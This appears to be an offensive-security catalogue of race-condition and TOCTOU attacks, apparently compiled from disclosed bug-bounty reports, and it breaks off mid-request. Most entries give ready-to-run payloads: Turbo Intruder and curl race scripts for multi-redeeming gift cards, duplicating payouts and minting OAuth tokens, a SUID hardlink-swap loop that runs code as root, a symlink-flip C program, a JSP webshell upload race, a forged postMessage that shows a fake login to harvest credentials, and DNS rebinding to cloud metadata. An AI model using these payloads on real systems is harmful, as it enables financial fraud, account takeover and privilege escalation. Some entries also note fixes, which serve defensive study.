Fire N copies of the same request so they all land inside that window β every copy passes the check before any copy commits its write β and the "once only" guarantee collapses. The impact is rarely cosmetic: duplicated payouts, multi-redeemed gift cards, quota/uniqueness bypass, SSRF-filter bypass, and full account takeover all come out of the exact same primitive. The whole game is collapsing the check-then-use window to zero: gate the requests so their final bytes arrive together.
Identify which shape the target has, then use the matching attack. The first three are pure HTTP concurrency; the rest weaponize timing without needing tight parallelism.
# Turbo Intruder β gate N identical requests, fire final bytes simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
for i in range(30):
engine.queue(target.req, str(i), gate='race1') # 'Test: %s' keeps each unique
engine.openGate('race1') # all final bytes released together
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
# background-parallel replay of the same authorized confirm/payout request
for i in $(seq 1 20); do curl '<COPY-AS-CURL request>' & done; wait
"Max N per account" gates, "already a member?" joins, follow/like/vote counters β anything guarded by an app-level SELECT-then-INSERT with no DB unique constraint. Parallel inserts each pass the read and create duplicate rows, which can leave irremovable / corrupt state, not just a bad count.
POST /group/post_join HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: <session>
csrf=<csrf>&invite=<invite-token>
# fire ~5-30 copies via Turbo Intruder gate -> duplicate membership rows
# (a) issue token for an address you own, hold the confirm link
# (b) change the account value to VICTIM's, release, then within ~ms open (a)
GET /confirm-email?token=<token-issued-for-attacker-owned-addr> HTTP/1.1
Host: TARGET
# the token validates against the account's now-racing (victim) value
A resource exists but its entitlement/ownership check hasn't finalized. Pre-stage the privileged call, grab the new object id from an intermediate response, and fire before install/checkout completes.
// pre-stage in DevTools, then race the privileged mutation against the new id
fetch("/admin/api/unversioned/graphql", {method:"POST", credentials:"include",
headers:{"content-type":"application/json"},
body:JSON.stringify({operationName:"ThemePublishLegacy",
variables:{id:"gid://shopify/OnlineStoreTheme/<THEME_ID>"},
query:"mutation ThemePublishLegacy($id:ID!){onlineStoreThemePublish(id:$id){theme{id}userErrors{message}}}"})})
Code resolves a hostname once to validate against an allowlist and again to make the request. No timing precision β just make the two resolutions differ. This turns a host allowlist / SSRF filter into a race.
# authoritative DNS for a delegated zone, TTL 0, alternating A records:
# query 1 -> 203.0.113.10 (passes the allowlist / SSRF filter)
# query 2 -> 169.254.169.254 (used for the actual fetch) -> cloud metadata / localhost
curl localhost:8001/api/v1/nodes/toctou:80/proxy/
# tight loop atomically flips symlink<->dir between the victim's stat() and fopen()
while :; do renameexch a b; done # SYS_renameat2 RENAME_EXCHANGE on names a,b
# victim: curl --cookie-jar a URL (also affects HSTS / alt-svc file writes)
// spam a forged success message every 10ms to win vs the real network round-trip
setInterval(() => victim.postMessage(
'{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"https://COLLAB/"}}}', '*'), 10);
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 42 in this class.
Real-world example
TOCTOU email-verification bypass -> confirm arbitrary email -> store takeover
β Critical
Specimen #300305 Β· shopify Β· 15250 Β· 270 votes Β· resolved
Program shopifySurface webChain confirm arbitrary email -> partner collaborator auto-convTag account-takeover
Root cause
The change-email and confirm-email flows were not wrapped in a single DB transaction / row lock, so the ownership check (token issued for value A) and the underlying email value could diverge. Firing the confirm link for an email you own at the same moment the account's email is being switched to the victim's confirms an address you do not control.
Method
- Change your partner-account email to an address you own; grab the confirmation link from your inbox but do NOT visit it yet.
- Change your email again to the victim (store employee) address; intercept/hold this request.
- Release the change-to-victim request, wait a few hundred ms (the change takes ~1100-2500 ms), then in another tab open the confirmation link from step 1.
- On a win the victim email is now marked confirmed on your account.
- Add the store as a managed store; the staff account with that email auto-converts to a collaborator you control.
# no fixed payload - timing race between:
# (a) GET <confirmation link for attacker-owned email>
# (b) POST change-email -> victim@store.com (held, then released ~ms before opening (a))
Insight β Any 'confirm ownership of email/phone' flow that (a) issues a token bound to your current value and (b) separately lets you mutate that value is race-able. Confirming an unowned identifier frequently unlocks account merges, collaborator/staff auto-linking, and full takeover. Look for verify + edit on the same identifier without a lock.
Real-world example
TOCTOU race in faucet balance check -> exceed max credit limit
β Critical
Specimen #1438052 Β· cosmos Β· USD 5000 Β· 59 votes Β· resolved
Program cosmosSurface apiTag account-takeover
Root cause
Starport's faucet Transfer() reads the balance and then sends tokens as two non-atomic steps (backed by a non-concurrency-safe Go map); firing many requests concurrently makes several balance checks observe the pre-send balance, so total minted exceeds coins_max.
Method
- Confirm the per-account limit sequentially (e.g. coins_max=11)
- Send many concurrent requests (~50) to the faucet for the same address
- Balance checks race the sends; account ends up with far more than the cap (e.g. 30)
POST / HTTP/1.1
Host: FAUCET:4500
Content-Type: application/json
{"address":"TARGET_ADDRESS"}
# fire 50x concurrently (Burp single-packet / Turbo Intruder)
Insight β Any check-then-act over a shared limit (faucet, coupon, balance, quota, vote) is a race target. Send concurrent requests (single-packet attack) so multiple reads see the same pre-mutation state. Non-atomic read+write / non-thread-safe maps are the tell.
Real-world example
Gift-card multi-redeem via single-gate race
β High
Specimen #759247 Β· reverb Β· awarded Β· 304 votes Β· resolved
Program reverbSurface web
Root cause
Redeem lacked an atomic check-and-mark on the card token, so parallel requests all passed the 'is this card unused?' check before any marked it used (TOCTOU).
Method
- Buy a gift card, capture the redeem POST
- Turbo Intruder: queue ~30 identical requests behind one gate, openGate to fire simultaneously
- Multiple 200 OK -> balance credited N times
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False)
for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
Insight β Any 'redeem once' / 'apply once' primitive (gift cards, coupons, referral credit, one-time discounts) is a race candidate: fire N concurrent redemptions gated to land together and diff the credited total.
Real-world example
Concurrent connections + ambiguous Content-Length scramble shared response buffers
β High
Specimen #187134 Β· portswigger Β· none Β· 32 votes Β· resolved
Program portswiggerSurface other
Root cause
When many connections are released simultaneously with an ambiguous/negative/absent Content-Length and a doctype-like body start, the extension's response handling races on shared buffers, scrambling and leaking content between different requests (memory disclosure across responses).
Method
- Stand up an HTTP server that holds N connections then releases them at once
- Reply to all with a bogus Content-Length (e.g. negative/-12000 or absent) and a body starting like a doctype '<!...'
- The client's concurrent processing scrambles buffers β data leaks between responses (potential ASLR-relevant memory recovery)
HTTP/1.1 200 OK\r\nContent-Length: -12000\r\nMeta:%s:%d\r\nContent-Type: text/html\r\n\r\n<![a-z0-9]{1024}> # release many such conns simultaneously
Insight β Client-side HTTP stacks that guess/mishandle Content-Length and share buffers across concurrent connections can be raced to cross-contaminate responses β a memory-disclosure primitive. Trigger with a malicious server, ambiguous length, and a doctype start; as few as 4 concurrent threads sufficed.
Real-world example
Tomcat write-enabled default servlet race -> JSP RCE (CVE-2024-50379)
β High
Specimen #2905013 Β· ibb Β· awarded Β· 24 votes Β· resolved
Program ibbSurface webChain write-enabled servlet -> TOCTOU race -> JSP RCETag file-upload
Root cause
When Tomcat's default servlet is write-enabled (readonly=false) on a case-insensitive filesystem, concurrent read+upload of the same file under load bypasses the case-sensitivity check, letting an uploaded file be treated and compiled as a JSP.
Method
- Confirm default servlet is write-enabled (PUT allowed) on a Windows/case-insensitive host
- Concurrently PUT a JSP payload and request it under different case (e.g. shell.Jsp vs shell.jsp) under load
- Win the race so the file is served through the JSP engine -> code execution
# PUT (write-enabled default servlet) + concurrent GET, case-varied name
PUT /shell.Jsp (JSP webshell body)
GET /shell.jsp # race until compiled as JSP
Insight β Case-insensitive filesystems + partial/write-enabled DAV are a recurring bypass for extension/case blocklists; TOCTOU races between the security check and the file handler can turn an 'inert' upload into executable content.
Real-world example
Recursive-delete symlink TOCTOU (remove_dir_all) -> privileged deletion outside tree
β High
Specimen #1520931 Β· ibb Β· 4000 Β· 9 votes Β· resolved
Program ibbSurface otherChain unprivileged write access -> trick privileged remove_dir_
Root cause
std::fs::remove_dir_all checked whether each entry was a symlink and, if not, recursed/deleted by path. Because the check and the subsequent open/delete both re-resolve the path, an attacker with write access to the tree can replace a subdirectory with a symlink between check and use, so the privileged deletion follows the symlink out of the intended tree.
Method
- A privileged process calls remove_dir_all on a directory the attacker can write to (e.g. temp/).
- The attacker repeatedly swaps a descendant subdir for a symlink pointing at a sensitive target while the walk is in progress.
- On a win the recursion follows the symlink and deletes files/dirs the attacker could not otherwise remove (reliable within seconds).
// PoC concept: while the privileged remove_dir_all(temp/) runs,
// race: rename(temp/sub -> ...) then symlink(sensitive_target -> temp/sub)
// so the recursive delete resolves temp/sub to sensitive_target.
Insight β 'Check if symlink, then delete by path' cannot be made safe with a pre-call check - the path is re-resolved every syscall (TOCTOU). Secure recursive filesystem ops must open a directory fd once and use the *at() family (openat/unlinkat/O_NOFOLLOW) so names are resolved relative to a pinned fd, never re-resolved. Same lesson applies to recursive copy/chown/chmod utilities.
Real-world example
TOCTOU race on SUID helper that validates then execs an unlocked binary (via hardlink)
β High
Specimen #1251464 Β· acronis Β· awarded Β· 8 votes Β· resolved
Program acronisSurface desktop
Root cause
A SUID (root) binary validates a companion executable ('console') and then execs it without locking it; a hardlink lets the attacker place the run in a writable directory and swap 'console' between the check and the exec, winning a race to run code as root.
Method
- Hardlink the SUID binary and the companion into an attacker-writable directory
- Repeatedly launch the SUID binary while swapping console for a malicious binary after validation but before execution
- On a win, root executes the attacker binary (e.g. reverse shell via mkfifo/nc)
os.link('/Applications/Acronis True Image.app/Contents/MacOS/Acronis True Image','./run')
os.link('/Applications/Acronis True Image.app/Contents/MacOS/console','./console')
lag=0.01
while True:
os.popen('./run')
time.sleep(lag)
os.unlink('./console'); os.link('./a.out','./console') # swap in payload
time.sleep(1.0)
os.unlink('./console'); os.link('.../MacOS/console','./console') # restore
lag+=0.01
if os.path.exists('./pass'): exit()
Insight β Any privileged 'verify a file, then run it' flow that doesn't hold an exclusive lock/fd across check-and-use is a TOCTOU. Hardlinking into a writable working dir + a tight swap loop wins the race. Look for signature/hash checks on sibling binaries in SUID/helper tools.
Real-world example
Non-idempotent payout endpoint -> duplicated payments
β Medium
Specimen #429026 Β· security Β· awarded Β· 237 votes Β· resolved
Program securitySurface web
Root cause
The 'confirm retest' action triggered a payment on a state transition without an idempotency guard, so N parallel confirmations each disbursed money.
Method
- Capture the one-time 'confirm retest' request (Copy as curl in Burp).
- Fire it many times in parallel from the shell so all copies hit before the state flips.
- Observe multiple retest payments queued; confirmed weeks later by an actual repeated bank transfer.
# background-parallel replay of the same confirm request:
curl '<confirm-retest request>' & \
curl '<confirm-retest request>' & \
curl '<confirm-retest request>' & \
curl '<confirm-retest request>' & \
curl '<confirm-retest request>' &
Insight β Any endpoint that moves money/credits on a one-time state change ('confirm', 'claim', 'payout', 'approve') must be idempotent. Test by firing N copies in parallel with shell '&' or turbo intruder; a successful double-spend can go unnoticed for weeks by both sides.
Real-world example
Race the one-time loyalty-claim link to multiply the bonus
β Medium
Specimen #331940 Β· vend_vdp Β· none Β· 94 votes Β· resolved
Program vend_vdpSurface web
Root cause
The loyalty-claim endpoint checks 'already claimed?' and credits the bonus non-atomically (TOCTOU), so firing the same claim POST concurrently credits the bonus N times before the first write commits.
Method
- Make a sale and add a first-time customer to trigger a loyalty-claim email/link
- Capture the claim POST
- Send it 1-50 times concurrently (Burp Turbo Intruder / single-packet)
- Each parallel request that wins the race credits the bonus again
POST /loyalty/claim/CLAIM_ID HTTP/1.1
Host: store.vendhq.com
# replay concurrently x N (Turbo Intruder / single-packet attack)
Insight β Any 'one-time' credit/redeem/claim (coupon, referral, loyalty, gift card, cashout) is a race candidate. Fire the same request in a tight parallel burst; the guard is usually a read-then-write with no DB lock. Keep N small to avoid DoS.
Real-world example
Race condition to claim a limited free item multiple times
β Medium
Specimen #2616045 Β· automattic Β· awarded Β· 92 votes Β· resolved
Program automatticSurface web
Root cause
A one-per-account 'free' grant is enforced only by a read-then-write check with no atomic lock, so parallel requests all pass the check before any writes the counter.
Method
- Complete the free-item claim flow (free custom domain) up to the final purchase/transaction request
- Capture the POST to the transaction endpoint (public-api.wordpress.com/rest/v1.1/me/transactions)
- Duplicate the request 10-15x into a Burp parallel group, altering the 'meta' name each copy
- Fire all requests simultaneously (single-packet / parallel) so they race the eligibility check
- Observe more than one free domain provisioned
POST /rest/v1.1/me/transactions (send 10-15 copies in parallel, vary the `meta` param each)
Insight β Any 'one free X per account' limit that isn't wrapped in a DB transaction/lock is a race target; look for claim/checkout endpoints and fire them as a parallel group.
Real-world example
Race condition to exceed a per-account quota/limit
β Medium
Specimen #3104355 Β· dust Β· none Β· 64 votes Β· resolved
Program dustSurface web
Root cause
A hard limit (folders, workspaces, subscribers) is checked then incremented non-atomically; firing many create requests concurrently lets them all pass the check before the count updates.
Method
- Reach the enforced limit so the UI blocks further creation
- Optionally free one slot (delete one) to sit just under the cap
- Send a burst of simultaneous create requests (Turbo Intruder / parallel group)
- End state exceeds the limit
Send N concurrent POSTs to the create endpoint (CreateFolder / CreateWorkspace / CreateAlertReceivers)
Insight β Every 'max N per account' guard implemented as check-then-create is a TOCTOU race; the quickest transferable test on any quota is a concurrent burst against its create endpoint.
Real-world example
OAuth token endpoint race condition mints multiple tokens, defeats revocation
β Medium
Specimen #55140 Β· ibb Β· awarded Β· 50 votes Β· resolved
Program ibbSurface apiTag oauthTag account-takeover
Root cause
OAuth /token endpoint processes concurrent grant requests without locking the single-use code/refresh_token, so a burst of parallel requests each yields a distinct valid access_token/refresh_token pair. Revoking one (or the app authorization) leaves the others live.
Method
- Register an OAuth app and complete authorize to obtain a single-use authorization code (or a refresh_token).
- Fire ~20 identical grant_type=authorization_code (or refresh_token) requests in parallel before the server marks the code/token consumed.
- Collect the multiple distinct access_token values returned and verify each against a simple API call (GET /api/me).
- Revoke the app in account settings or revoke one token, then re-test the others: on vulnerable providers the rest stay valid.
#!/bin/bash
for i in $(seq 1 20); do
curl --data "grant_type=authorization_code&code=CODE&client_id=ID&client_secret=SECRET&redirect_uri=REDIRECT" \
"https://OAUTH_PROVIDER/oauth/token" &
done
wait
# refresh_token variant is worse: each success yields a fresh refresh_token, so pairs grow unbounded
Insight β Any single-use token/code endpoint is a race target. Parallelize the redemption; if you get >1 valid token, the consume/lock is non-atomic. The refresh_token variant is unbounded and neuters revocation entirely.
Real-world example
Race: alter repo permissions via GraphQL during repo transfer/detach -> covert persistent admin
β Medium
Specimen #2216036 Β· github Β· awarded Β· 50 votes Β· resolved
Program githubSurface graphqlTag graphql
Root cause
During a repository transfer (or detach) the permission-reconciliation is not atomic. Firing the updateTeamsRepository GraphQL mutation inside that window lets a departing admin re-grant themselves admin, which survives the transfer covertly.
Method
- Initiate a repo transfer (REST) / or have it detached.
- Concurrently send updateTeamsRepository GraphQL mutations setting your team's permission to admin during the transfer window.
- After transfer completes, the admin grant persists though it should have been revoked.
mutation {
updateTeamsRepository(input:{repositoryId:"<id>", teamIds:["<team>"], permission: ADMIN}) { clientMutationId }
}
# fire repeatedly, concurrently with the transfer/detach REST call
Insight β State-transition operations (ownership transfer, detach, plan downgrade) are TOCTOU-prone: hammer permission/role mutations during the transition. Two API surfaces (REST transfer + GraphQL mutation) touching the same ACL is a classic race source.
Real-world example
In-app-purchase receipt-verification replay -> coin/credit inflation
β Medium
Specimen #801743 Β· reddit Β· awarded Β· 40 votes Β· resolved
Program redditSurface api
Root cause
The purchase-verification endpoint credits coins per request without atomically marking the transaction_id/purchase token as consumed, so replaying the same receipt in parallel credits the account multiple times for one purchase.
Method
- Buy the smallest coin package in the Android app and intercept the verify_purchase call.
- Replay the identical request (same transaction_id + token) many times in parallel before the receipt is marked used.
- Most parallel copies succeed (9/10 in testing) -> Nx the coins for a single purchase.
POST /api/v2/gold/android/verify_purchase?... HTTP/1.1
Host: oauth.reddit.com
Authorization: Bearer <token>
Content-Type: application/x-www-form-urlencoded
transaction_id=GPA.XXXX-XXXX-XXXX-XXXXX&token=<play-token>&package_name=com.reddit.frontpage&product_id=com.reddit.coins_1&correlation_id=<uuid>
# fire N copies in parallel
Insight β IAP / payment-receipt / webhook-verification endpoints must atomically consume the receipt or transaction id (unique constraint) before granting value. Racing the same receipt/token before it is marked consumed multiplies the credited goods. Test any 'verify payment', 'redeem receipt', or 'confirm order' endpoint this way.
Real-world example
Race condition mints unlimited invites (+ cancel-refund recycle)
β Medium
Specimen #1460373 Β· fetlife Β· awarded Β· 30 votes Β· resolved
Program fetlifeSurface web
Root cause
The remaining-invites check and decrement are not atomic; multiple concurrent POSTs each pass the check before any of them decrement, so one invite credit yields many. Cancelling a sent invite also refunds the credit, allowing further recycling.
Method
- Save session cookie and authenticity_token
- Fire ~10 concurrent POST /users/invitation requests (each with a distinct email)
- All succeed at the cost of one invite
- Optionally cancel invites to refund credits and repeat
curl 'https://fetlife.com/users/invitation' -H 'Cookie: _fl_sessionid={sid}' --data 'authenticity_token={tok}&user%5Bemail%5D=a%2B1%40x.com' & curl ... (x10 in parallel)
Insight β Any 'limited quantity' action (invites, credits, coupons, votes) is a race target: fire N parallel requests. Also probe cancel/refund flows that return the quota so it can be recycled indefinitely.
Real-world example
Filesystem TOCTOU: stat()-then-fopen() symlink swap via renameat2 RENAME_EXCHANGE
β Medium
Specimen #2039870 Β· curl Β· none Β· 26 votes Β· resolved
Program curlSurface otherChain file overwrite of protected files (integrity/DoS) OR redirec
Root cause
Curl_fopen calls stat(path) to decide a file is a non-regular file/fallback, then fopen(path) separately. Between the two, an attacker atomically swaps a directory and a symlink at that path (renameat2 with RENAME_EXCHANGE) so fopen follows a symlink to a protected file the victim owns.
Method
- Attacker in a shared/writable dir loops renameat2(RENAME_EXCHANGE) swapping a symlink 'a'->flag with a directory 'b'.
- Victim (e.g. root) runs curl writing to that path: curl --cookie-jar a URL.
- If the swap lands so stat() sees a directory but fopen() opens the symlink, curl overwrites the protected target or writes sensitive cookies into an attacker-controlled file.
// atomically swap two names in a tight loop to win the race:
#define _GNU_SOURCE
#include <fcntl.h>
#include <linux/fs.h>
#include <unistd.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
while (1)
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
// victim: curl --cookie-jar a google.com (also affects HSTS / alt-svc file writes)
Insight β The archetypal filesystem TOCTOU: any check(path) followed by a separate open(path) is race-able because the kernel re-resolves the path each syscall. RENAME_EXCHANGE gives an attacker an atomic, reliable symlink<->dir flip so the check and the open see different objects. Grep native code for lstat/stat/access followed by open/fopen on the same path; the fix is O_NOFOLLOW / openat on a pinned fd.
Real-world example
Race check-then-send email endpoint to flood a victim
β Medium
Specimen #1293377 Β· khanacademy Β· none Β· 16 votes Β· resolved
Program khanacademySurface graphqlTag graphql
Root cause
requestAuthEmail checks 'is this email already linked?' then sends a confirmation email as separate non-atomic steps; concurrent requests all pass the check and each send an email to an arbitrary target address.
Method
- Start the 'connect another email' flow and intercept the requestAuthEmail GraphQL POST
- Downgrade to HTTP/1.1, tag with 'X-Request: %s' and send to Turbo Intruder
- Fire ~30 gated concurrent requests; the target address receives ~30 signup emails
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False)
for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')
engine.openGate('race1')
Insight β Even when a normal duplicate request is rejected ('email already added'), racing the endpoint bypasses the guard and turns any user-triggered email send into an email-bombing / spam-relay primitive against arbitrary recipients.
Real-world example
Double DNS-resolution TOCTOU -> SSRF filter (allowlist) bypass via 0-TTL DNS
β Medium
Specimen #859962 Β· kubernetes Β· awarded Β· 7 votes Β· resolved
Program kubernetesSurface otherChain DNS TOCTOU -> apiserver proxy SSRF -> cloud metadata /Tag cloud-aws
Root cause
The apiserver proxy resolved a node's hostname once to validate it against a filter and again to actually make the proxied request. An attacker-controlled authoritative DNS server returning different answers per query (TTL 0) returns a safe IP for the validation resolve and a forbidden IP (169.254.169.254 / localhost) for the request resolve.
Method
- Stand up an authoritative DNS server for a delegated zone that returns a different A record on each consecutive query (TTL 0).
- Register a Node whose address is a hostname in that zone.
- Send a request through the apiserver proxy (kubectl proxy; curl localhost:8001/api/v1/nodes/<name>:80/proxy/).
- First resolve passes the filter; second resolve points at cloud metadata or a localhost service -> SSRF.
# authoritative DNS returns alternating answers with TTL 0:
# query 1 -> 203.0.113.10 (passes apiserver filter)
# query 2 -> 169.254.169.254 (used for the actual proxied fetch)
curl localhost:8001/api/v1/nodes/toctou:80/proxy/
Insight β Whenever code resolves a hostname for a security check and then re-resolves it for the actual fetch, a 0-TTL rotating DNS record (DNS-rebinding-style TOCTOU) defeats the allowlist/SSRF filter. The fix is resolve-once-and-pin: validate and connect using the SAME resolved IP. Probe any URL/host allowlist that accepts hostnames with attacker-controlled DNS.
Real-world example
TOCTOU driver swap: replace signed driver between integrity check and install
β Medium
Specimen #852091 Β· valve Β· awarded Β· 22 votes Β· resolved
Program valveSurface desktopChain TOCTOU file swap -> malicious kernel driver install ->
Root cause
Steam verifies file integrity at startup and re-downloads tampered files, but the SteamStreaming .sys drivers are installed on first Remote Play use; there is a window after the integrity check and before install where a non-admin user can overwrite the driver file, so the modified (unsigned/malicious) driver is installed with kernel privileges.
Method
- Start Steam and let it verify/restore files
- Trigger driver install path (first Remote Play stream) but overwrite C:\Program Files (x86)\Steam\drivers\Windows10\x64\SteamStreamingMicrophone.sys after the check, before install
- Steam installs the attacker's driver -> arbitrary kernel-mode code
Insight β Any privileged installer/updater that (1) validates a file then (2) later consumes it from a user-writable path is a TOCTOU target. Look for the validate->use gap and win the race by replacing the file in the window (or with an oplock/symlink).
Real-world example
Race a forged postMessage (no origin check) to hijack followUpUrl
β Low
Specimen #381356 Β· security Β· awarded Β· 153 votes Β· resolved
Program securitySurface web
Root cause
A Marketo form listener on the parent origin accepted postMessages without verifying event.origin; if the message signalled success and the form lacked onSuccess, the parent navigated to an attacker-supplied followUpUrl.
Method
- Open victim page (form auto-opens via #contact) in a new window
- Spam forged success postMessages carrying followUpUrl every ~10ms to win the race vs the real Marketo response
- Pick a form with no onSuccess (mktoForm_1013); parent sets location.href = followUpUrl
- On Safari use a data: URL to render a fake login and harvest creds
b.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"data:text/html;base64,<fake login>"}}}','*')
Insight β Any window.addEventListener('message') without an origin allowlist is attackable; if the handler drives navigation/DOM from message data, race your forged message ahead of the legitimate cross-frame reply. Client-side races don't need Turbo Intruder -- just spam before the real event.
Real-world example
Duplicate membership rows via parallel join -> irremovable member / broken state
β Low
Specimen #604534 Β· security Β· awarded Β· 151 votes Β· resolved
Program securitySurface web
Root cause
The group-join handler checks 'is user already a member?' then inserts a membership row with no unique constraint, so parallel joins each pass the check and create duplicate rows. Deletion logic then cannot fully remove the user, leaving persistent/broken state.
Method
- As a normal user, obtain a valid group invite link.
- Send the POST /group/post_join request many times in parallel (5 parallel requests sufficed).
- You are added 2+ times; the group leader can no longer remove you and neither can you remove yourself.
POST /group/post_join HTTP/1.1
Host: ctf.hacker101.com
Content-Type: application/x-www-form-urlencoded
Cookie: <session>
csrf=<csrf>&invite=<invite-token>
# fire ~5-30 copies in parallel (turbo intruder gate)
Insight β Race conditions do not only inflate counters - duplicate rows from a missing unique constraint can produce IRREMOVABLE or otherwise corrupt state (persistence, self-DoS on the resource). When auditing join/link/relationship tables, check for a DB unique constraint, not just an app-level 'already exists?' check.
Real-world example
Vote-count race: parallel POST /votes lets one account upvote a report repeatedly
β Low
Specimen #146845 Β· security Β· awarded Β· 124 votes Β· resolved
Program securitySurface web
Root cause
The upvote endpoint checks 'already voted' then increments without atomicity, so many concurrent POST /reports/<id>/votes from one session race the check and each bump the counter, inflating a report's rank.
Method
- Capture the authenticated POST /reports/<id>/votes request (with CSRF token)
- Replay it concurrently from many threads before the first vote commits
- Counter increments multiple times for a single account (vote_count 48 -> 49 -> ...)
POST /reports/127158/votes HTTP/1.1 (X-CSRF-Token, session) # fire N in parallel
Insight β Any 'one action per user' counter (votes, likes, redemptions, follows) that does check-then-increment without a DB constraint or lock is racy. Fire the request with a burst / single-packet attack to beat the uniqueness check.
Real-world example
Counter inflation on single-allowed actions (follow/like/react) via parallel requests
β Low
Specimen #927384 Β· stagingdoteverydotorg Β· none Β· 112 votes Β· resolved
Program stagingdoteverydotorgSurface web
Root cause
Idempotent user actions (follow, like, react, vote) are guarded by a check-then-insert ('already following?') with no atomic/unique constraint, so parallel requests each pass the check and the action is recorded multiple times.
Method
- Capture the single 'Follow'/'Like'/'React' request.
- Send it to Turbo Intruder and use the gate technique to release all final bytes together.
- Multiple 201/200 responses = action counted multiple times from one account.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
for i in range(30):
engine.queue(target.req, str(i), gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
# add a header 'Test: %s' to make each request unique for the wordlist
Insight β Any endpoint that should be idempotent per user (follow, like, react, vote, upvote) is a counter-inflation target. Use Turbo Intruder gate='race1' to align the final bytes of many requests. Same primitive appears across many programs; impact ranges from cosmetic count inflation to notification flooding of a victim.
Real-world example
Flag/points submission race -> points inflation escalating to program invites
β Low
Specimen #454949 Β· security Β· awarded Β· 93 votes Β· resolved
Program securitySurface webChain points inflation -> invitation thresholds -> access to
Root cause
Flag submission awards points with a check-then-award ('flag not yet submitted by this user?') that is not atomic, so parallel submissions of the same flag award points repeatedly.
Method
- Solve any challenge to get one valid flag (even a 1-point trivial one).
- Capture the flag-submission POST and replay it many times in a short window with a fast parallel tool (Race The Web).
- Points accumulate per successful parallel submission (submitted one flag 70x -> earned 2 private-program invitations).
# Race The Web (https://github.com/insp3ctre/race-the-web) config replays the same
# flag-submission POST in parallel; faster than Burp Intruder for this race.
Insight β Gamification/points systems (CTF flags, reputation, karma) are high-value race targets because inflated points can escalate to REAL privilege - here, unlocking private-program invitations without solving challenges. Always ask what a points balance unlocks before rating a scoreboard race as cosmetic.
Real-world example
TOCTOU race to publish a paid resource during install
β Low
Specimen #953083 Β· shopify Β· USD 2000 Β· 90 votes Β· resolved
Program shopifySurface graphqlChain Install race -> publish paid theme -> edit/download soTag graphql
Root cause
During the paid-theme install flow there is a window where the theme exists but the purchase/ownership check hasn't finalized. Firing the ThemePublishLegacy GraphQL mutation against the freshly-created theme id in that window publishes (and effectively grants ownership of) the paid theme without paying.
Method
- Pre-stage the ThemePublishLegacy fetch in DevTools console
- Start installing a paid theme ('Try theme')
- Race to the admin/themes tab, read the installing theme's gid from the ThemesProcessingLegacy response
- Send the ThemePublishLegacy mutation with that gid before install completes
- Theme publishes; badge/ownership restrictions are gone
fetch("/admin/api/unversioned/graphql",{method:"POST",credentials:"include",headers:{"content-type":"application/json"},body:JSON.stringify({operationName:"ThemePublishLegacy",variables:{id:"gid://shopify/OnlineStoreTheme/<THEME_ID>"},query:"mutation ThemePublishLegacy($id:ID!){onlineStoreThemePublish(id:$id){theme{id}userErrors{message}}}"})})
Insight β Look for a gap between resource creation and entitlement enforcement in multi-step provisioning/checkout flows. Grab the new object id from an intermediate response and fire the privileged mutation in the TOCTOU window; automate to win the race reliably.
Real-world example
Race condition on one-time promo redemption
β Low
Specimen #1037430 Β· bumble Β· awarded Β· 56 votes Β· resolved
Program bumbleSurface web
Root cause
The 'accept free premium' action checked eligibility and granted the reward non-atomically; firing many parallel requests before state updates redeemed the single offer multiple times, stacking premium days.
Method
- Trigger the delete-account retention offer to reach 'Get free Badoo Premium'
- Capture the SERVER_PROMO_ACCEPTED request
- Send it in parallel with Turbo Intruder race.py (single-packet)
- Multiple 200s => multiple 3-day grants stacked
POST /webapi.phtml?SERVER_PROMO_ACCEPTED HTTP/1.1
Host: eu1.badoo.com
X-Message-type: 402
Content-Type: json
{"body":[{"message_type":402,"p_string":{"value":"delete_account_trial_spp_new_flow"}}],"message_id":101,"message_type":402,"version":1}
# fire N copies concurrently via turbo-intruder race.py
Insight β Any 'claim once' benefit (coupon, trial, referral, cashout) is a race target. Use Turbo Intruder race.py / Burp single-packet attack to send concurrent redemptions before the eligibility flag is written.
Real-world example
Coupon/promo redemption-limit TOCTOU (winnable with two browser tabs)
β Low
Specimen #1717650 Β· stripe Β· awarded Β· 54 votes Β· resolved
Program stripeSurface web
Root cause
Promotion-code redemption count is checked then decremented non-atomically at checkout, so two near-simultaneous checkouts both read remaining>0 and both succeed, exceeding the redemption limit.
Method
- As merchant, create a promo code with redemption limit 1.
- As buyer, open two payment links for the same merchant and apply the same coupon on both, but do not pay yet.
- Click Pay/Subscribe on both as fast as possible; both succeed using the single-use coupon twice.
# no request payload needed - open two checkout tabs with the same promo code applied,
# then submit both Pay buttons simultaneously (scale later with Burp/turbo intruder).
Insight β Redemption/gift-card/voucher/quota counters guarded by check-then-decrement are the textbook TOCTOU. Before assuming you need tooling, try the manual two-tab click - many of these races are wide enough to win by hand.
Real-world example
GraphQL claim-mutation race -> grab scarce resource multiple times / deny others
β Low
Specimen #488985 Β· security Β· awarded Β· 53 votes Β· resolved
Program securitySurface graphqlTag graphql
Root cause
The claimCredential GraphQL mutation checks 'already claimed?' then assigns a credential from a limited pool non-atomically; parallel mutations each pass the check and assign multiple credential sets, potentially exhausting the pool and blocking legitimate users.
Method
- Capture the single claimCredential mutation for a program that provides test credentials.
- Send it to Burp Intruder / turbo intruder and fire many copies in parallel.
- Multiple distinct credential sets are returned (21/22 returned one set, the last returned a different set), i.e. more than the one intended claim.
POST /graphql HTTP/1.1
Host: hackerone.com
